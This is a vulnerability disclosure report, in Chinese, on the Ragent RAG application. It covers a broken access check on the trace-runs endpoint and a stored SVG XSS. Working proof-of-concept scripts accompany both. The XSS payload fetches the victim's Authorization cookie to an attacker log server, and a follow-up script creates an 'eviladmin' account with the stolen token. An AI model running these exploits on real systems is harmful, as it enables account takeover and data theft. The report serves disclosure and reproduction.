Ragent 漏洞报告

软件名称:Ragent

开发者或厂商:nageoffer

代码仓库:https://github.com/nageoffer/ragent

1. 普通用户可越权读取调用链

简要描述:普通用户可调用 /rag/traces/runs,读取其他用户的调用链。
影响版本:1.0.0 ~ 1.1.0
前置条件:攻击者持有普通用户账号。

漏洞成因

RagTraceController 的 /rag/traces/runs 只要求登录,不校验角色。相关代码如下:

// rag/src/main/java/com/nageoffer/ai/ragent/rag/controller/RagTraceController.java:38-50    commit c3b6157730
@RestController
@RequiredArgsConstructor
public class RagTraceController {

    private final RagTraceQueryService ragTraceQueryService;

    @GetMapping("/rag/traces/runs")
    public Result<IPage<RagTraceRunVO>> pageRuns(RagTraceRunPageRequest request) {
        return Results.success(ragTraceQueryService.pageRuns(request));
    }
}

复现环境搭建

复现版本为 commit c3b61577。

官方没有提供 compose 文件。将本文附件 docker-compose.yml 放置到项目根目录,并执行:

cat > Dockerfile <<'EOF'
FROM eclipse-temurin:17-jre
WORKDIR /app
COPY src/bootstrap/target/bootstrap-0.0.1-SNAPSHOT.jar app.jar
EXPOSE 9090
ENTRYPOINT ["java","-XX:MaxRAMPercentage=75","-jar","/app/app.jar"]
EOF
(cd src && ./mvnw -DskipTests -Dspotless.check.skip=true clean package)
docker compose up -d --build

用管理员账号登录,创建一个普通用户 lowuser,密码为 lowpass。

复现过程

以管理员账号发起一次对话,然后用普通账号越权读取:

import httpx

base = "http://127.0.0.1:19090/api/ragent"


def login(username, password):
    resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password})
    return resp.json()["data"]["token"]


admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60)
admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"})

with admin.stream("GET", f"{base}/rag/v3/chat", params={"question": "admin-private-question-42"}) as resp:
    for line in resp.iter_lines():
        if line:
            break

low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=30)
runs = low.get(f"{base}/rag/traces/runs", params={"pageNo": 1, "pageSize": 5}).json()["data"]["records"]
print(runs)

print(low.get(f"{base}/users").text)

普通用户查询 /rag/traces/runs 返回 200,响应中包含管理员的问题和用户名:

[{"conversationId": "2117234767668707328", "question": "admin-private-question-42", "traceId": "2117234768415293440", "userId": "2001523723396308993", "username": "admin", ...}]

普通用户查询 /users 时返回权限不足:

{"code":"A000001","data":null,"message":"权限不足","requestId":null,"success":false}

可见,/users 校验管理员权限,但 /rag/traces/runs 只校验登录。

2. 存储型 SVG XSS 导致受害者账号接管

简要描述:普通用户上传的 SVG 在受害者打开其文件地址时执行脚本,攻击者可借此接管受害者账号。
影响版本:1.1.0
前置条件:攻击者持有普通用户账号,并能诱导受害者打开其上传文档的文件地址。

漏洞成因

文档上传接口只要求登录,文件内容按原样写入对象存储。相关代码如下:

// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:96-100    commit c3b6157730
@PostMapping(value = "/knowledge-base/{kb-id}/docs/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
public Result<KnowledgeDocumentVO> upload(@PathVariable("kb-id") String kbId,
                                          @RequestPart(value = "file", required = false) MultipartFile file,
                                          @ModelAttribute KnowledgeDocumentUploadRequest requestParam) {
    return Results.success(documentService.upload(kbId, requestParam, file));
}

DefaultFileStorageService.upload 用 Tika 探测类型后,把原始字节写入对象存储。相关代码如下:

// rag/src/main/java/com/nageoffer/ai/ragent/rag/service/impl/DefaultFileStorageService.java:72-90    commit c3b6157730
public StoredFileDTO upload(String namespace, MultipartFile file) {
    validateNamespace(namespace);
    Assert.isFalse(file == null || file.isEmpty(), "上传文件不能为空");

    String originalFilename = file.getOriginalFilename();
    long size = file.getSize();

    String detectedContentType;
    try (InputStream is = file.getInputStream()) {
        detectedContentType = TIKA.detect(is, originalFilename);
    }

    try (InputStream is = file.getInputStream()) {
        String key = documentKey(namespace, originalFilename);
        objectStorageClient.streamPut(kbBucket, key, is, size, detectedContentType);
        return buildStoredFileDTO(key, originalFilename, detectedContentType, size);
    }
}

文档下载接口按 fileType 从 CONTENT_TYPE_MAP 选择 Content-Type,并以 inline 返回文件。相关代码如下:

// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:187-199    commit c3b6157730
@GetMapping("/knowledge-base/docs/{docId}/file")
public void file(@PathVariable String docId, HttpServletResponse response) throws Exception {
    var doc = documentService.get(docId);
    String fileType = doc.getFileType() != null ? doc.getFileType().toLowerCase() : "";
    String contentType = CONTENT_TYPE_MAP.getOrDefault(fileType, "application/octet-stream");
    response.setContentType(contentType);
    response.setHeader("Content-Disposition", ContentDisposition.inline()
            .filename(doc.getDocName(), StandardCharsets.UTF_8)
            .build()
            .toString());
    try (InputStream in = fileStorageService.openStream(doc.getFileUrl())) {
        StreamUtils.copy(in, response.getOutputStream());
    }
}

CONTENT_TYPE_MAP 包含 svg 到 image/svg+xml 的映射。相关代码如下:

// rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:82    commit c3b6157730
Map.entry("svg", "image/svg+xml")

受害者打开 /knowledge-base/docs/{docId}/file 时,浏览器把响应当作 SVG 文档解析,<script> 在 API 源下执行。登录响应的 Cookie 名为 Authorization,没有 HttpOnly,脚本可以读取该 Cookie,并携带它调用需要登录的接口,接管受害者账号。

复现环境搭建

与第 1 节相同。按第 1 节构建并执行 docker compose up -d --build,接口根地址为 http://127.0.0.1:19090/api/ragent,管理员账号为 admin/admin。复现时以管理员账号作为受害者。

复现过程

攻击者登录后创建知识库,并上传下面的 report.svg,其中 http://127.0.0.1:18080/ 是攻击者的 HTTP log 服务:

<svg xmlns="http://www.w3.org/2000/svg" width="640" height="140">
  <script>
    document.title = "RAGENT_XSS_OK";
    fetch("http://127.0.0.1:18080/collect?c=" + encodeURIComponent(document.cookie), {mode: "no-cors"});
  </script>
  <rect width="640" height="140" fill="white"/>
  <text x="20" y="80" font-size="32" fill="red">XSS EXECUTED</text>
</svg>

上传脚本如下:

import httpx

base = "http://127.0.0.1:19090/api/ragent"


def login(username, password):
    resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password})
    return resp.json()["data"]["token"]


admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60)
admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"})

low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=60)
kb = low.post(f"{base}/knowledge-base", json={
    "name": "report-kb",
    "embeddingModel": "qwen-emb-8b",
    "collectionName": "report_kb_store"
}).json()["data"]

with open("report.svg", "rb") as f:
    doc = low.post(
        f"{base}/knowledge-base/{kb}/docs/upload",
        data={"sourceType": "FILE", "processMode": "CHUNK"},
        files={"file": ("report.svg", f, "image/svg+xml")}
    ).json()["data"]

print(doc["id"])

管理员(受害者)在浏览器中打开 http://127.0.0.1:19090/api/ragent/knowledge-base/docs/{docId}/file,页面显示 XSS EXECUTED:

HTTP log 服务收到受害者(管理员)的 Cookie:

Authorization=cc41bdee51664c6887436bad552a7583

用该 Cookie 创建管理员账号 eviladmin,验证已接管管理员账号:

import httpx

base = "http://127.0.0.1:19090/api/ragent"
stolen = "cc41bdee51664c6887436bad552a7583"
client = httpx.Client(headers={"Authorization": stolen}, timeout=30)
print(client.post(f"{base}/users", json={
    "username": "eviladmin",
    "password": "evilpass",
    "role": "admin"
}).text)

随后该账号可以正常登录并查询用户列表:

create admin with stolen token: {"code":"0","data":"2117236505536626688","message":null,"requestId":null,"success":true}
login as eviladmin: admin dca56c9ceed04ae69db61a4772e6ea88
eviladmin /users: {"code":"0","data":{"current":1,"pages":1,"records":[{"id":"2117236505536626688","username":"eviladmin","role":"admin",...}]}}